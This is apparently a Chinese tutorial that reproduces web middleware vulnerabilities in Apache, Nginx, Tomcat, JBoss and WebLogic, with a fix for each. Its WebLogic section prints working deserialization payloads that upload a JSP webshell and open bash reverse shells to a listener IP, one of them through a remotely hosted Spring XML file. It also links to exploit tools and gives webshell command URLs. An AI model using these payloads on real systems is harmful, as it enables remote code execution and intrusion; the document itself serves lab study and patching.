web中间件漏洞复现

一.Apache

Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一

1.解析漏洞

1. 漏洞原理

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,直到发现后缀是php,交给php处理这个文件

2. 漏洞复现

在apache加入如下一行

AddHandler application/x-httpd-php .php

建立一个xx.php.xx.yy的文件,里面写上Php代码
在这里插入图片描述
访问后
web中间件漏洞复现_第1张图片

3、 漏洞修复

将apache 配置文件中删除这一行 AddHandler application/x-httpd-php .php

2. 目录浏览

修改apache配置文件httpd.conf

找到Options-Indexes+FollowSymLinks +ExecCGI并修改成 Options+Indexes+FollowSymLinks +ExecCGI 并保存;
就可以目录浏览

web中间件漏洞复现_第2张图片

二.nginx

1. 解析漏洞

漏洞原理

当php.ini 中 cgi.fix_pathinfo = 1时,对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是3.jpg,可以添加3.jpg/x.php进行解析攻击

漏洞复现

先建立一个php.里面写入phpinfo,更名为3.jpg,访问如下
web中间件漏洞复现_第3张图片
cgi.fix_pathinfo = 0条件下

在这里插入图片描述web中间件漏洞复现_第4张图片
cgi.fix_pathinfo = 1条件下
或者;cgi.fix_pathinfo = 0条件下
web中间件漏洞复现_第5张图片
有时间改了也不行,还有将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php中的.php删除
web中间件漏洞复现_第6张图片
现在高版本改了这2个地方也不行

1. 目录浏览

在nginx 配置文件中设置autoindex on
web中间件漏洞复现_第7张图片
web中间件漏洞复现_第8张图片

TOMCAT

1.远程代码执行

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选

1. 漏洞原理

Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。

2漏洞复现

配置漏洞,开启put方法可上传文件功能。

tomcat文件夹下的/conf/web.xml文件插入:

   <init-param>

           <param-name>readonly</param-name>

           <param-value>false</param-value>

     </init-param>

重启tomcat服务。
web中间件漏洞复现_第9张图片

Not Found通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:
如以下2种就算成功
web中间件漏洞复现_第10张图片web中间件漏洞复现_第11张图片

漏洞修复

conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞

2.war后门文件部署

1. 漏洞原理

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

2.漏洞复现

tomcat 后台弱口令或者爆破可以来到如下页面
web中间件漏洞复现_第12张图片
上传war包,点击部署,部署完后会在如下显示
web中间件漏洞复现_第13张图片然后访问127.0.0.1/aa/aa.jsp

web中间件漏洞复现_第14张图片

3.漏洞修复

在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录
后台管理避免弱口令。

Jboss漏洞

1.漏洞原理

2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码

2.漏洞复现

Jboss反序列化漏洞

当出现如下页面时,说明存在漏洞
web中间件漏洞复现_第15张图片web中间件漏洞复现_第16张图片
漏洞利用工具
https://github.com/yunxu1/jboss-_CVE-2017-12149

3、 漏洞修复

有效解决方案:升级到JBOSS AS7版本临时解决方案:

2.war后门文件部署

我的这篇文章中有讲jboss漏洞getshell

WebLogic漏洞

(二) 反序列化漏洞

1.WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

1.漏洞成因

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。

2。漏洞复现

漏洞检测工具https://pan.baidu.com/s/1bpg3ppl
web中间件漏洞复现_第17张图片漏洞利用
上传文件利用代码

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jspstring>
    <void method="println"><string>
    
    ]]>
    string>
    void>
    <void method="close"/>
    object>java>java>
    work:WorkContext>
    soapenv:Header>
    <soapenv:Body/>
soapenv:Envelope>


利用方式
web中间件漏洞复现_第18张图片可以成功上传文件,路径为http://ip/bea_wls_internal/test.jsp
web中间件漏洞复现_第19张图片
可以反弹shell
payload(发送数据xml时,反弹shell语句,要进行编码。)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bashstring>

void>

<void index="1">

<string>-cstring>

void>

<void index="2">

<string>bash -i >& /dev/tcp/192.168.2.109/8888 0>&1string>

void>

array>

<void method="start"/>void>

java>

work:WorkContext>

soapenv:Header>

<soapenv:Body/>

soapenv:Envelope>

WebLogic 反序列化漏洞二
利用的代码
访问https://ip/_async/AsyncResponseService
然后post提交

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xxwsa:Action><wsa:RelatesTo>xxwsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContextstring><void>
<string>http://远程ip文件地址/a.xmlstring>
void>class>
java>
 work:WorkContext>
 soapenv:Header>
 <soapenv:Body><asy:onAsyncDelivery/>soapenv:Body>soapenv:Envelope>

web中间件漏洞复现_第20张图片
远程服务器上的a.xml文件


<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

    <constructor-arg>

      <list>

        <value>/bin/bashvalue>

        <value>-cvalue>

        <value>& /dev/tcp/本地监听ip/8033 0>&1]]>value>

      list>

    constructor-arg>

  bean>

beans>




可以直接反弹shell

web中间件漏洞复现_第21张图片

Weblogic最新wls-wsat组件远程命令执行漏洞POC

链接地址
https://www.7ooc.cn/web/17.html

3、漏洞修复

升级Oracle 10月份补丁。

(三)SSRF

1.漏洞原因

Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

2漏洞复现

pe_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk5OTM3Mg==,size_16,color_FFFFFF,t_70)

(四) 任意文件上传

漏洞成因

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。

漏洞复现

web中间件漏洞复现_第22张图片web中间件漏洞复现_第23张图片更改为7001端口

web中间件漏洞复现_第24张图片

web中间件漏洞复现_第25张图片

3、 漏洞修复

方法一:

以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了;

方法二:

1)删除uddiexplorer文件夹

2)限制uddiexplorer应用只能内网访问

方法三:(常用)

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法二采用的是改后辍的方式,修复步骤如下:

1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份

2)将weblogic安装目录下的server/lib/uddiexplorer.war下载

3)用winrar等工具打开uddiexplorer.war

4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx

5)保存后上传回服务端替换原先的uddiexplorer.war

6)对于多台主机组成的集群,针对每台主机都要做这样的操作

7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)

(四) 任意文件上传

漏洞原理

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。

漏洞复现

漏洞地址:http://ip:7001/ws_utc/config.do

设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
web中间件漏洞复现_第26张图片提交,然后点击安全,添加,上传jsp文件
web中间件漏洞复现_第27张图片抓包
web中间件漏洞复现_第28张图片
6,然后看到一个时间戳1553166280665
shell地址为:http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

http://ip:7001/ws_utc/css/config/keystore/1553166280665_aa.jsp?cmd=whoami

web中间件漏洞复现_第29张图片

漏洞修复

1)进入Weblogic Server管理控制台;

2)domain设置中,启用”生产模式”。

(五)弱口令部署war包

漏洞复现

进入后台管理界面
部署
web中间件漏洞复现_第30张图片
安装
web中间件漏洞复现_第31张图片上传文件
web中间件漏洞复现_第32张图片然后选择war包进行部署
web中间件漏洞复现_第33张图片下一步看到
web中间件漏洞复现_第34张图片 一直下一步
然后访问
http://ip/aa/aa.jsp
web中间件漏洞复现_第35张图片

参考链接
https://www.freebuf.com/vuls/148283.html

你可能感兴趣的:(web中间件漏洞复现)